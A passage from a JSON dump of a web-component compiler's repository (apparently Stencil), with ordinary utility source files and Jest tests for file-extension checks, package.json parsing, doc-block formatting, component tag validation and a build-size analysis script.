expect(getSourceMappingUrlForEndOfFile('some-pkg*')).toBe('\\n//# sourceMappingURL=some-pkg%2a.map');\n    });\n\n    it('encodes multiple disallowed characters at once', () => {\n      expect(getSourceMappingUrlForEndOfFile('!some-(pkg)*')).toBe('\\n//# sourceMappingURL=%21some-%28pkg%29%2a.map');\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/utils/test/url-paths.spec.ts",
    "content": "import { isRemoteUrl } from '../url-paths';\n\ndescribe('url-paths', () => {\n  describe('isRemoteUrl', () => {\n    it.each(['http://domain.com/file.txt', 'HTTP://domain.com/file.txt'])(\n      \"returns true for the http protocol '%s'\",\n      (url) => {\n        expect(isRemoteUrl(url)).toBe(true);\n      },\n    );\n\n    it.each(['https://domain.com/file.txt', 'HTTPS://domain.com/file.txt'])(\n      \"returns true for the https protocol '%s'\",\n      (url) => {\n        expect(isRemoteUrl(url)).toBe(true);\n      },\n    );\n\n    it.each(['C:/file.txt', 'C:\\\\file.txt', '/User/file.txt'])(\"returns false for file paths '%s'\", (fileName) => {\n      expect(isRemoteUrl(fileName)).toBe(false);\n    });\n\n    it('returns false if the provided url is an empty string', () => {\n      expect(isRemoteUrl('')).toBe(false);\n    });\n\n    it('returns false if the provided url is not a string', () => {\n      // to facilitate the `isString()` check, we provide `null` as an argument. this violates the function signature,\n      // requiring a type assertion here\n      expect(isRemoteUrl(null as unknown as string)).toBe(false);\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/test/util.spec.ts",
    "content": "import { mockBuildCtx, mockValidatedConfig } from '@stencil/core/testing';\nimport * as util from '@utils';\n\nimport { getTextDocs } from '@utils';\nimport type * as d from '../../declarations';\nimport { stubDiagnostic } from '../../dev-server/test/Diagnostic.stub';\n\ndescribe('util', () => {\n  describe('generatePreamble', () => {\n    it('generates a comment with a single line preamble', () => {\n      const testConfig = mockValidatedConfig({ preamble: 'I am Stencil' });\n\n      const result = util.generatePreamble(testConfig);\n\n      expect(result).toBe(`/*!\n * I am Stencil\n */`);\n    });\n\n    it('generates a comment with a multi-line preamble', () => {\n      const testConfig = mockValidatedConfig({ preamble: 'I am Stencil\\nHear me roar' });\n\n      const result = util.generatePreamble(testConfig);\n\n      expect(result).toBe(`/*!\n * I am Stencil\n * Hear me roar\n */`);\n    });\n\n    it('returns an empty string if no preamble is provided', () => {\n      const testConfig = mockValidatedConfig();\n\n      const result = util.generatePreamble(testConfig);\n\n      expect(result).toBe('');\n    });\n\n    it('returns an empty string a null preamble is provided', () => {\n      const testConfig = mockValidatedConfig({ preamble: undefined });\n\n      const result = util.generatePreamble(testConfig);\n\n      expect(result).toBe('');\n    });\n\n    it('returns an empty string if an empty preamble is provided', () => {\n      const testConfig = mockValidatedConfig({ preamble: '' });\n\n      const result = util.generatePreamble(testConfig);\n\n      expect(result).toBe('');\n    });\n  });\n\n  describe('hasDependency', () => {\n    let buildCtx: d.BuildCtx;\n\n    beforeEach(() => {\n      buildCtx = mockBuildCtx();\n    });\n\n    it(\"returns false when the packageJson field isn't set on the build context\", () => {\n      // this cast is done to specifically test the case where this is not the\n      // expected type\n      buildCtx.packageJson = null as unknown as d.PackageJsonData;\n\n      expect(util.hasDependency(buildCtx, 'a-non-existent-pkg')).toBe(false);\n    });\n\n    it('returns false if a project has no dependencies', () => {\n      buildCtx.packageJson.dependencies = undefined;\n\n      expect(util.hasDependency(buildCtx, 'a-non-existent-pkg')).toBe(false);\n    });\n\n    it('returns false if a project has an empty list of dependencies', () => {\n      buildCtx.packageJson.dependencies = {};\n\n      expect(util.hasDependency(buildCtx, 'a-non-existent-pkg')).toBe(false);\n    });\n\n    it(\"returns false for '@stencil/core'\", () => {\n      buildCtx.packageJson.dependencies = { '@stencil/core': '2.0.0' };\n\n      expect(util.hasDependency(buildCtx, '@stencil/core')).toBe(false);\n    });\n\n    it('returns true for a dependency match', () => {\n      buildCtx.packageJson.dependencies = {\n        'existent-pkg1': '1.0.0',\n        'existent-pkg2': '2.0.0',\n        'existent-pkg3': '3.0.0',\n      };\n\n      expect(util.hasDependency(buildCtx, 'existent-pkg2')).toBe(true);\n    });\n\n    it('is case sensitive in its lookup', () => {\n      buildCtx.packageJson.dependencies = {\n        'existent-pkg1': '1.0.0',\n        'existent-pkg2': '2.0.0',\n        'existent-pkg3': '3.0.0',\n      };\n\n      expect(util.hasDependency(buildCtx, 'EXISTENT-PKG2')).toBe(false);\n    });\n  });\n\n  describe('isDtsFile', () => {\n    it('should return true for .d.ts files', () => {\n      expect(util.isDtsFile('.d.ts')).toEqual(true);\n      expect(util.isDtsFile('foo.d.ts')).toEqual(true);\n      expect(util.isDtsFile('foo/bar.d.ts')).toEqual(true);\n    });\n\n    it('should return false for all other file types', () => {\n      expect(util.isDtsFile('.k.ts')).toEqual(false);\n      expect(util.isDtsFile('foo.d.doc')).toEqual(false);\n      expect(util.isDtsFile('foo/bar.txt')).toEqual(false);\n      expect(util.isDtsFile('foo.spec.ts')).toEqual(false);\n    });\n\n    it('should be case insensitive', () => {\n      expect(util.isDtsFile('foo/bar.D.tS')).toEqual(true);\n    });\n  });\n\n  it('createJsVarName', () => {\n    expect(util.createJsVarName('./scoped-style-import.css?tag=my-button&encapsulation=scoped')).toBe(\n      'scopedStyleImportCss',\n    );\n    expect(util.createJsVarName('./scoped-style-import.css#hash')).toBe('scopedStyleImportCss');\n    expect(util.createJsVarName('./scoped-style-import.css&data')).toBe('scopedStyleImportCss');\n    expect(util.createJsVarName('./scoped-style-import.css=data')).toBe('scopedStyleImportCss');\n    expect(util.createJsVarName('@ionic/core')).toBe('ionicCore');\n    expect(util.createJsVarName('@ionic\\\\core')).toBe('ionicCore');\n    expect(util.createJsVarName('88mph')).toBe('_88mph');\n    expect(util.createJsVarName('Doc.brown&')).toBe('docBrown');\n    expect(util.createJsVarName('  Doc!  Brown?  ')).toBe('docBrown');\n    expect(util.createJsVarName('doc---Brown')).toBe('docBrown');\n    expect(util.createJsVarName('doc-brown')).toBe('docBrown');\n    expect(util.createJsVarName('DocBrown')).toBe('docBrown');\n    expect(util.createJsVarName('Doc')).toBe('doc');\n    expect(util.createJsVarName('doc')).toBe('doc');\n    expect(util.createJsVarName('AB')).toBe('aB');\n    expect(util.createJsVarName('Ab')).toBe('ab');\n    expect(util.createJsVarName('a')).toBe('a');\n    expect(util.createJsVarName('A')).toBe('a');\n    expect(util.createJsVarName('    ')).toBe('');\n    expect(util.createJsVarName('')).toBe('');\n  });\n\n  describe('parsePackageJson', () => {\n    const mockPackageJsonPath = '/mock/path/package.json';\n\n    it('returns a parse error if parsing cannot complete', () => {\n      // improperly formatted JSON - note the lack of ':'\n      const diagnostic = util.parsePackageJson('{ \"someJson\" \"value\"}', mockPackageJsonPath);\n\n      const expectedDiagnostic: d.Diagnostic = stubDiagnostic({\n        absFilePath: mockPackageJsonPath,\n        header: 'Error Parsing JSON',\n        messageText: expect.stringMatching(/.*in JSON at position 13/),\n        type: 'build',\n      });\n\n      expect(diagnostic).toEqual<util.ParsePackageJsonResult>({\n        diagnostic: expectedDiagnostic,\n        data: null,\n        filePath: mockPackageJsonPath,\n      });\n    });\n\n    it('returns the parsed data from the provided json', () => {\n      const diagnostic = util.parsePackageJson('{ \"someJson\": \"value\"}', mockPackageJsonPath);\n\n      expect(diagnostic).toEqual<util.ParsePackageJsonResult>({\n        diagnostic: null,\n        data: {\n          someJson: 'value',\n        },\n        filePath: mockPackageJsonPath,\n      });\n    });\n  });\n\n  describe('addDocBlock', () => {\n    let str: string;\n    let docs: d.CompilerJsDoc;\n\n    beforeEach(() => {\n      str = 'interface Foo extends Components.Foo, HTMLStencilElement {';\n      docs = {\n        tags: [{ name: 'deprecated', text: 'only for testing' }],\n        text: 'Lorem ipsum',\n      };\n    });\n\n    it('adds a doc block to the string', () => {\n      expect(util.addDocBlock(str, docs)).toEqual(`/**\n * Lorem ipsum\n * @deprecated only for testing\n */\ninterface Foo extends Components.Foo, HTMLStencilElement {`);\n    });\n\n    it('indents the doc block correctly', () => {\n      str = '    ' + str;\n      expect(util.addDocBlock(str, docs, 4)).toEqual(`    /**\n     * Lorem ipsum\n     * @deprecated only for testing\n     */\n    interface Foo extends Components.Foo, HTMLStencilElement {`);\n    });\n\n    it('excludes the @internal tag', () => {\n      docs.tags.push({ name: 'internal' });\n      expect(util.addDocBlock(str, docs).includes('@internal')).toBeFalsy();\n    });\n\n    it('excludes empty lines', () => {\n      docs.text = '';\n      str = '    ' + str;\n      expect(util.addDocBlock(str, docs, 4)).toEqual(`    /**\n     * @deprecated only for testing\n     */\n    interface Foo extends Components.Foo, HTMLStencilElement {`);\n    });\n\n    it.each<[d.CompilerJsDoc | undefined]>([[undefined], [{ tags: [], text: '' }]])(\n      'does not add a doc block when docs are empty (%j)',\n      (docs) => {\n        expect(util.addDocBlock(str, docs)).toEqual(str);\n      },\n    );\n  });\n\n  describe('isTsFile', () => {\n    it.each(['.ts', 'foo.ts', 'foo.bar.ts', 'foo/bar.ts'])(\n      'returns true for a file ending with .ts (%s)',\n      (fileName) => {\n        expect(util.isTsFile(fileName)).toEqual(true);\n      },\n    );\n\n    it.each(['.tsx', 'foo.tsx', 'foo.bar.tsx', 'foo/bar.tsx'])(\n      'returns false for a file ending with .tsx (%s)',\n      (fileName) => {\n        expect(util.isTsFile(fileName)).toEqual(false);\n      },\n    );\n\n    it.each(['foo.js', 'foo.doc', 'foo.css', 'foo.html'])(\n      'returns false for other a file with another extension (%s)',\n      (fileName) => {\n        expect(util.isTsFile(fileName)).toEqual(false);\n      },\n    );\n\n    it('returns false for .d.ts and .d.tsx files', () => {\n      expect(util.isTsFile('foo/bar.d.ts')).toEqual(false);\n      expect(util.isTsFile('foo/bar.d.tsx')).toEqual(false);\n    });\n\n    it('returns true for a file named \"spec.ts\"', () => {\n      expect(util.isTsFile('spec.ts')).toEqual(true);\n    });\n\n    it('returns true for a file named \"d.ts\"', () => {\n      expect(util.isTsFile('d.ts')).toEqual(true);\n    });\n\n    it.each(['foo.tS', 'foo.Ts', 'foo.TS'])('returns true for non-lowercase extensions (%s)', (fileName) => {\n      expect(util.isTsFile(fileName)).toEqual(true);\n    });\n  });\n\n  describe('isJsFile', () => {\n    it.each(['.js', 'foo.js', 'foo.bar.js', 'foo/bar.js'])(\n      'returns true for a file ending with .js (%s)',\n      (fileName) => {\n        expect(util.isJsFile(fileName)).toEqual(true);\n      },\n    );\n\n    it.each(['.jsx', 'foo.txt', 'foo/bar.css', 'foo.bar.html'])(\n      'returns false for other a file with another extension (%s)',\n      (fileName) => {\n        expect(util.isJsFile(fileName)).toEqual(false);\n      },\n    );\n\n    it('returns true for a file named \"spec.js\"', () => {\n      expect(util.isJsFile('spec.js')).toEqual(true);\n    });\n\n    it.each(['foo.jS', 'foo.Js', 'foo.JS'])('returns true for non-lowercase extensions (%s)', (fileName) => {\n      expect(util.isJsFile(fileName)).toEqual(true);\n    });\n  });\n\n  describe('getTextDocs', () => {\n    let docs: d.CompilerJsDoc;\n\n    beforeEach(() => {\n      docs = {\n        tags: [],\n        text: '',\n      };\n    });\n    it('returns empty string for null or undefined', () => {\n      expect(getTextDocs(null)).toBe('');\n      expect(getTextDocs(undefined)).toBe('');\n    });\n\n    it('returns only main text if no tags', () => {\n      docs = {\n        text: 'Some doc text.',\n        tags: [],\n      };\n      expect(getTextDocs(docs)).toBe('Some doc text.');\n    });\n\n    it('replaces line breaks in main text with spaces', () => {\n      docs = {\n        text: 'Line 1\\nLine 2\\r\\nLine 3',\n        tags: [],\n      };\n      expect(getTextDocs(docs)).toBe('Line 1 Line 2 Line 3');\n    });\n\n    it('filters out internal tags and escapes \"*/\" in text and tags', () => {\n      docs = {\n        text: 'This text ends with */ sequence.',\n        tags: [\n          { name: 'internal', text: 'should be removed' },\n          { name: 'default', text: \"'*/*'\" },\n          { name: 'deprecated', text: 'Use something else' },\n        ],\n      };\n\n      const result = getTextDocs(docs);\n\n      // Should replace \"*/\" with \"*\\/\" (single backslash)\n      expect(result).toContain('This text ends with *\\\\/ sequence.');\n\n      // @internal tag filtered out\n      expect(result).not.toContain('@internal');\n\n      // @default and @deprecated tags included and escaped\n      expect(result).toContain(\"@default '*\\\\/*'\");\n      expect(result).toContain('@deprecated Use something else');\n\n      // Main text and tags separated by new lines\n      const lines = result.split('\\n');\n      expect(lines[0]).toBe('This text ends with *\\\\/ sequence.');\n      expect(lines).toContain(\"@default '*\\\\/*'\");\n      expect(lines).toContain('@deprecated Use something else');\n    });\n\n    it('trims the result', () => {\n      docs = {\n        text: '  Some text with spaces  ',\n        tags: [],\n      };\n      expect(getTextDocs(docs)).toBe('Some text with spaces');\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/test/validation.spec.ts",
    "content": "import { validateComponentTag } from '../validation';\n\ndescribe('validation', () => {\n  describe('validateComponentTag', () => {\n    it('should error on non-string', () => {\n      // @ts-ignore we're checking what happens when we pass an unexpected type (number instead of string)\n      expect(validateComponentTag(3)).toBe('Tag \"3\" must be a string type');\n    });\n\n    it.each([' my-tag', 'my-tag ', ' my-tag '])('should error on whitespace', (tagName) => {\n      expect(validateComponentTag(tagName)).toBe('Tag can not contain white spaces');\n    });\n\n    it('should error on upper case', () => {\n      expect(validateComponentTag('My-Tag')).toBe('Tag can not contain upper case characters');\n    });\n\n    it('should error on empty string', () => {\n      expect(validateComponentTag('')).toBe('Received empty tag value');\n    });\n\n    it('should error on inner whitespace', () => {\n      expect(validateComponentTag('my- tag')).toBe('\"my- tag\" tag cannot contain a space');\n    });\n\n    it('should error on comma', () => {\n      expect(validateComponentTag('my-tag,your-tag')).toBe('\"my-tag,your-tag\" tag cannot be used for multiple tags');\n    });\n\n    it.each(['你-好', 'my-@component', '!@#$!@#4-ohno'])('should error on any invalid characters', (funkyTag) => {\n      expect(validateComponentTag(funkyTag)).toBe(\n        `\"${funkyTag}\" tag contains invalid characters: ${funkyTag.replace(/\\w|-/g, '')}`,\n      );\n    });\n\n    it('should error if no dash', () => {\n      expect(validateComponentTag('dashless')).toBe(\n        '\"dashless\" tag must contain a dash (-) to work as a valid web component',\n      );\n    });\n\n    it('should error on multiple dashes in a row', () => {\n      expect(validateComponentTag('dash--crazy')).toBe(\n        '\"dash--crazy\" tag cannot contain multiple dashes (--) next to each other',\n      );\n    });\n\n    it('should error on leading dash', () => {\n      expect(validateComponentTag('-dash')).toBe('\"-dash\" tag cannot start with a dash (-)');\n    });\n\n    it('should error on trailing dash', () => {\n      expect(validateComponentTag('dash-')).toBe('\"dash-\" tag cannot end with a dash (-)');\n    });\n\n    it('should return undefined for valid tag names', () => {\n      expect(validateComponentTag('my-component')).toBeUndefined();\n    });\n  });\n});\n"
  },
  {
    "path": "src/utils/types.ts",
    "content": "export type Serializeable = string | number | boolean | unknown;\nexport type LocalValueParam = Serializeable | Serializeable[] | [Serializeable, Serializeable][];\n\nexport type ScriptLocalValue =\n  | ScriptPrimitiveProtocolValue\n  | ScriptArrayLocalValue\n  | ScriptDateLocalValue\n  | ScriptSymbolValue\n  | ScriptMapLocalValue\n  | ScriptObjectLocalValue\n  | ScriptRegExpLocalValue\n  | ScriptSetLocalValue;\nexport type ScriptListLocalValue = ScriptLocalValue[];\n\nexport interface ScriptArrayLocalValue {\n  type: 'array';\n  value: ScriptListLocalValue;\n}\n\nexport interface ScriptDateLocalValue {\n  type: 'date';\n  value: string;\n}\n\nexport type ScriptMappingLocalValue = (ScriptLocalValue | ScriptLocalValue)[];\n\nexport interface ScriptMapLocalValue {\n  type: 'map';\n  value: ScriptMappingLocalValue;\n}\n\nexport interface ScriptObjectLocalValue {\n  type: 'object';\n  value: ScriptMappingLocalValue;\n}\n\nexport interface ScriptRegExpValue {\n  pattern: string;\n  flags?: string;\n}\n\nexport interface ScriptRegExpLocalValue {\n  type: 'regexp';\n  value: ScriptRegExpValue;\n}\n\nexport interface ScriptSetLocalValue {\n  type: 'set';\n  value: ScriptListLocalValue;\n}\n\nexport type ScriptPreloadScript = string;\nexport type ScriptRealm = string;\nexport type ScriptPrimitiveProtocolValue =\n  | ScriptUndefinedValue\n  | ScriptNullValue\n  | ScriptStringValue\n  | ScriptNumberValue\n  | ScriptBooleanValue\n  | ScriptBigIntValue;\n\nexport interface ScriptUndefinedValue {\n  type: 'undefined';\n}\n\nexport interface ScriptNullValue {\n  type: 'null';\n}\n\nexport interface ScriptStringValue {\n  type: 'string';\n  value: string;\n}\n\nexport interface ScriptSymbolValue {\n  type: 'symbol';\n  value: string;\n}\n\nexport type ScriptSpecialNumber = 'NaN' | '-0' | 'Infinity' | '-Infinity';\n\nexport interface ScriptNumberValue {\n  type: 'number';\n  value: number | ScriptSpecialNumber;\n}\n\nexport interface ScriptBooleanValue {\n  type: 'boolean';\n  value: boolean;\n}\n\nexport interface ScriptBigIntValue {\n  type: 'bigint';\n  value: string;\n}\n"
  },
  {
    "path": "src/utils/url-paths.ts",
    "content": "import { isString } from './helpers';\n\n/**\n * Determines whether a string should be considered a remote url or not.\n *\n * This helper only checks the provided string to evaluate is one of a few pre-defined schemes, and should not be\n * considered all-encompassing\n *\n * @param p the string to evaluate\n * @returns `true` if the provided string is a remote url, `false` otherwise\n */\nexport const isRemoteUrl = (p: string): boolean => {\n  if (isString(p)) {\n    p = p.toLowerCase();\n    return p.startsWith('https://') || p.startsWith('http://');\n  }\n  return false;\n};\n"
  },
  {
    "path": "src/utils/util.ts",
    "content": "import type * as d from '../declarations';\nimport { dashToPascalCase, escapeWithPattern, isString, toDashCase } from './helpers';\nimport { buildError } from './message-utils';\n\n/**\n * A set of JSDoc tags which should be excluded from JSDoc comments\n * included in output typedefs.\n */\nconst SUPPRESSED_JSDOC_TAGS: ReadonlyArray<string> = ['virtualProp', 'slot', 'part', 'internal'];\n\nconst LINE_BREAK_REGEX: Readonly<RegExp> = /\\r?\\n|\\r/g;\n\n/**\n * Create a stylistically-appropriate JS variable name from a filename\n *\n * If the filename has any of the special characters \"?\", \"#\", \"&\" and \"=\" it\n * will take the string before the left-most instance of one of those\n * characters.\n *\n * @param fileName the filename which serves as starting material\n * @returns a JS variable name based on the filename\n */\nexport const createJsVarName = (fileName: string): string => {\n  if (isString(fileName)) {\n    fileName = fileName.split('?')[0];\n    fileName = fileName.split('#')[0];\n    fileName = fileName.split('&')[0];\n    fileName = fileName.split('=')[0];\n    fileName = toDashCase(fileName);\n    fileName = fileName.replace(/[|;$%@\"<>()+,.{}_\\!\\/\\\\]/g, '-');\n    fileName = dashToPascalCase(fileName);\n\n    if (fileName.length > 1) {\n      fileName = fileName[0].toLowerCase() + fileName.slice(1);\n    } else {\n      fileName = fileName.toLowerCase();\n    }\n\n    if (fileName.length > 0 && !isNaN(fileName[0] as any)) {\n      fileName = '_' + fileName;\n    }\n  }\n  return fileName;\n};\n\n/**\n * Create a function that lowercases the first string parameter before passing it to the provided function\n * @param fn the function to pass the lowercased path to\n * @returns the result of the provided function\n */\nconst lowerPathParam = (fn: (p: string) => boolean) => (p: string) => fn(p.toLowerCase());\n\n/**\n * Determine if a stringified file path is a TypeScript declaration file based on the extension at the end of the path.\n * @param p the path to evaluate\n * @returns `true` if the path ends in `.d.ts` (case-sensitive), `false` otherwise.\n */\nexport const isDtsFile = lowerPathParam((p) => p.endsWith('.d.ts') || p.endsWith('.d.mts') || p.endsWith('.d.cts'));\n\n/**\n * Determine if a stringified file path is a TypeScript file based on the extension at the end of the path. This\n * function does _not_ consider type declaration files (`.d.ts` files) to be TypeScript files.\n * @param p the path to evaluate\n * @returns `true` if the path ends in `.ts` (case-sensitive) but does _not_ end in `.d.ts`, `false` otherwise.\n */\nexport const isTsFile = lowerPathParam(\n  (p: string) => !isDtsFile(p) && (p.endsWith('.ts') || p.endsWith('.mts') || p.endsWith('.cts')),\n);\n\n/**\n * Determine if a stringified file path is a TSX file based on the extension at the end of the path\n * @param p the path to evaluate\n * @returns `true` if the path ends in `.tsx` (case-sensitive), `false` otherwise.\n */\nexport const isTsxFile = lowerPathParam(\n  (p: string) => p.endsWith('.tsx') || p.endsWith('.mtsx') || p.endsWith('.ctsx'),\n);\n\n/**\n * Determine if a stringified file path is a JSX file based on the extension at the end of the path\n * @param p the path to evaluate\n * @returns `true` if the path ends in `.jsx` (case-sensitive), `false` otherwise.\n */\nexport const isJsxFile = lowerPathParam(\n  (p: string) => p.endsWith('.jsx') || p.endsWith('.mjsx') || p.endsWith('.cjsx'),\n);\n\n/**\n * Determine if a stringified file path is a JavaScript file based on the extension at the end of the path\n * @param p the path to evaluate\n * @returns `true` if the path ends in `.js` (case-sensitive), `false` otherwise.\n */\nexport const isJsFile = lowerPathParam((p: string) => p.endsWith('.js') || p.endsWith('.mjs') || p.endsWith('.cjs'));\n\n/**\n * Generate the preamble to be placed atop the main file of the build\n * @param config the Stencil configuration file\n * @returns the generated preamble\n */\nexport const generatePreamble = (config: d.ValidatedConfig): string => {\n  const { preamble } = config;\n\n  if (!preamble) {\n    return '';\n  }\n\n  // generate the body of the JSDoc-style comment\n  const preambleComment: string[] = preamble.split('\\n').map((l) => ` * ${l}`);\n\n  preambleComment.unshift(`/*!`);\n  preambleComment.push(` */`);\n\n  return preambleComment.join('\\n');\n};\n\nexport function getTextDocs(docs: d.CompilerJsDoc | undefined | null) {\n  if (docs == null) {\n    return '';\n  }\n\n  const mainText = escapeWithPattern(docs.text.replace(LINE_BREAK_REGEX, ' '), /\\*\\//, '*\\\\/', true);\n\n  const tags = docs.tags\n    .filter((tag) => tag.name !== 'internal')\n    .map((tag) => {\n      const tagText = escapeWithPattern((tag.text || '').replace(LINE_BREAK_REGEX, ' '), /\\*\\//, '*\\\\/', true);\n      return `@${tag.name} ${tagText}`;\n    });\n\n  return [mainText, ...tags].join('\\n').trim();\n}\n\n/**\n * Adds a doc block to a string\n * @param str the string to add a doc block to\n * @param docs the compiled JS docs\n * @param indentation number of spaces to indent the block with\n * @returns the doc block\n */\nexport function addDocBlock(str: string, docs?: d.CompilerJsDoc, indentation: number = 0): string {\n  if (!docs) {\n    return str;\n  }\n\n  return [formatDocBlock(docs, indentation), str].filter(Boolean).join(`\\n`);\n}\n\n/**\n * Formats the given compiled docs to a JavaScript doc block\n * @param docs the compiled JS docs\n * @param indentation number of spaces to indent the block with\n * @returns the formatted doc block\n */\nfunction formatDocBlock(docs: d.CompilerJsDoc, indentation: number = 0): string {\n  const textDocs = getDocBlockLines(docs);\n  if (!textDocs.filter(Boolean).length) {\n    return '';\n  }\n\n  const spaces = new Array(indentation + 1).join(' ');\n\n  return [spaces + '/**', ...textDocs.map((line) => spaces + ` * ${line}`), spaces + ' */'].join(`\\n`);\n}\n\n/**\n * Get all lines which are part of the doc block\n *\n * @param docs the compiled JS docs\n * @returns list of lines part of the doc block\n */\nfunction getDocBlockLines(docs: d.CompilerJsDoc): string[] {\n  return [\n    ...docs.text.split(LINE_BREAK_REGEX),\n    ...docs.tags\n      .filter((tag) => !SUPPRESSED_JSDOC_TAGS.includes(tag.name))\n      .map((tag) => `@${tag.name} ${tag.text || ''}`.split(LINE_BREAK_REGEX)),\n  ]\n    .flat()\n    .filter(Boolean);\n}\n\n/**\n * Retrieve a project's dependencies from the current build context\n * @param buildCtx the current build context to query for a specific package\n * @returns a list of package names the project is dependent on\n */\nconst getDependencies = (buildCtx: d.BuildCtx): ReadonlyArray<string> =>\n  Object.keys(buildCtx?.packageJson?.dependencies ?? {}).filter((pkgName) => !SKIP_DEPS.includes(pkgName));\n\n/**\n * Utility to determine whether a project has a dependency on a package\n * @param buildCtx the current build context to query for a specific package\n * @param depName the name of the dependency/package\n * @returns `true` if the project has a dependency a packaged with the provided name, `false` otherwise\n */\nexport const hasDependency = (buildCtx: d.BuildCtx, depName: string): boolean => {\n  return getDependencies(buildCtx).includes(depName);\n};\n\nexport const readPackageJson = async (config: d.ValidatedConfig, compilerCtx: d.CompilerCtx, buildCtx: d.BuildCtx) => {\n  try {\n    const pkgJson = await compilerCtx.fs.readFile(config.packageJsonFilePath);\n\n    if (pkgJson) {\n      const parseResults = parsePackageJson(pkgJson, config.packageJsonFilePath);\n      if (parseResults.diagnostic) {\n        buildCtx.diagnostics.push(parseResults.diagnostic);\n      } else {\n        buildCtx.packageJson = parseResults.data;\n      }\n    }\n  } catch (e) {\n    if (!config.outputTargets.some((o) => o.type.includes('dist'))) {\n      const diagnostic = buildError(buildCtx.diagnostics);\n      diagnostic.header = `Missing \"package.json\"`;\n      diagnostic.messageText = `Valid \"package.json\" file is required for distribution: ${config.packageJsonFilePath}`;\n    }\n  }\n};\n\n/**\n * A type that describes the result of parsing a `package.json` file's contents\n */\nexport type ParsePackageJsonResult = {\n  diagnostic: d.Diagnostic | null;\n  data: any | null;\n  filePath: string;\n};\n\n/**\n * Parse a string read from a `package.json` file\n * @param pkgJsonStr the string read from a `package.json` file\n * @param pkgJsonFilePath the path to the already read `package.json` file\n * @returns the results of parsing the provided contents of the `package.json` file\n */\nexport const parsePackageJson = (pkgJsonStr: string, pkgJsonFilePath: string): ParsePackageJsonResult => {\n  const parseResult: ParsePackageJsonResult = {\n    diagnostic: null,\n    data: null,\n    filePath: pkgJsonFilePath,\n  };\n\n  try {\n    parseResult.data = JSON.parse(pkgJsonStr);\n  } catch (e) {\n    parseResult.diagnostic = buildError();\n    parseResult.diagnostic.absFilePath = isString(pkgJsonFilePath) ? pkgJsonFilePath : undefined;\n    parseResult.diagnostic.header = `Error Parsing JSON`;\n    if (e instanceof Error) {\n      parseResult.diagnostic.messageText = e.message;\n    }\n  }\n\n  return parseResult;\n};\n\nconst SKIP_DEPS = ['@stencil/core'];\n\n/**\n * Check whether a string is a member of a ReadonlyArray<string>\n *\n * We need a little helper for this because unfortunately `includes` is typed\n * on `ReadonlyArray<T>` as `(el: T): boolean` so a `string` cannot be passed\n * to `includes` on a `ReadonlyArray` 😢 thus we have a little helper function\n * where we do the type coercion just once.\n *\n * see microsoft/TypeScript#31018 for some discussion of this\n *\n * @param readOnlyArray the array we're checking\n * @param maybeMember a value which is possibly a member of the array\n * @returns whether the array contains the member or not\n */\nexport const readOnlyArrayHasStringMember = <T extends string>(\n  readOnlyArray: ReadonlyArray<T>,\n  maybeMember: T | string,\n): maybeMember is T => readOnlyArray.includes(maybeMember as (typeof readOnlyArray)[number]);\n"
  },
  {
    "path": "src/utils/validation.ts",
    "content": "/**\n * Validates that a component tag meets required naming conventions to be used for a web component\n * @param tag the tag to validate\n * @returns an error message if the tag has an invalid name, undefined if the tag name passes all checks\n */\nexport const validateComponentTag = (tag: string): string | undefined => {\n  // we want to check this first since we call some String.prototype methods below\n  if (typeof tag !== 'string') {\n    return `Tag \"${tag}\" must be a string type`;\n  }\n  if (tag !== tag.trim()) {\n    return `Tag can not contain white spaces`;\n  }\n  if (tag !== tag.toLowerCase()) {\n    return `Tag can not contain upper case characters`;\n  }\n  if (tag.length === 0) {\n    return `Received empty tag value`;\n  }\n\n  if (tag.indexOf(' ') > -1) {\n    return `\"${tag}\" tag cannot contain a space`;\n  }\n\n  if (tag.indexOf(',') > -1) {\n    return `\"${tag}\" tag cannot be used for multiple tags`;\n  }\n\n  const invalidChars = tag.replace(/\\w|-/g, '');\n  if (invalidChars !== '') {\n    return `\"${tag}\" tag contains invalid characters: ${invalidChars}`;\n  }\n\n  if (tag.indexOf('-') === -1) {\n    return `\"${tag}\" tag must contain a dash (-) to work as a valid web component`;\n  }\n\n  if (tag.indexOf('--') > -1) {\n    return `\"${tag}\" tag cannot contain multiple dashes (--) next to each other`;\n  }\n\n  if (tag.indexOf('-') === 0) {\n    return `\"${tag}\" tag cannot start with a dash (-)`;\n  }\n\n  if (tag.lastIndexOf('-') === tag.length - 1) {\n    return `\"${tag}\" tag cannot end with a dash (-)`;\n  }\n  return undefined;\n};\n"
  },
  {
    "path": "src/version.ts",
    "content": "export const buildId = '__BUILDID__';\nexport const minfyJsId = '__BUILDID:MINIFYJS__';\nexport const optimizeCssId = '__BUILDID:OPTIMIZECSS__';\nexport const parse5Version = '__VERSION:PARSE5__';\nexport const rollupVersion = '__VERSION:ROLLUP__';\nexport const jqueryVersion = '__VERSION:JQUERY__';\nexport const terserVersion = '__VERSION:TERSER__';\nexport const typescriptVersion = '__VERSION:TYPESCRIPT__';\nexport const vermoji = '__VERMOJI__';\nexport const version = '__VERSION:STENCIL__';\nexport const versions = {\n  stencil: version,\n  parse5: parse5Version,\n  rollup: rollupVersion,\n  jquery: jqueryVersion,\n  terser: terserVersion,\n  typescript: typescriptVersion,\n};\n"
  },
  {
    "path": "test/.npmrc",
    "content": "package-lock=false"
  },
  {
    "path": "test/.scripts/analysis.js",
    "content": "const fs = require('fs');\nconst path = require('path');\nconst fileSizeProfile = require('./file-size-profile');\n\nconst output = [`# Test Apps`, '', '`npm run build`', ''];\nconst rootDir = path.join(__dirname, '..');\n\nfileSizeProfile('Hello World App', path.join(rootDir, 'hello-world', 'www', 'build'), output);\n\nfileSizeProfile('Hello VDOM App', path.join(rootDir, 'hello-vdom', 'www', 'build'), output);\n\nfileSizeProfile('Todo App', path.join(rootDir, 'todo-app', 'www', 'build'), output);\n\nfileSizeProfile('End-to-end App', path.join(rootDir, 'end-to-end', 'www', 'build'), output);\n\nfileSizeProfile('Ionic App', path.join(rootDir, 'ionic-app', 'www', 'build'), output);\n\nfs.writeFileSync(path.join(rootDir, 'readme.md'), output.join('\\n'));\n"
  },
  {
    "path": "test/.scripts/file-size-profile.js",
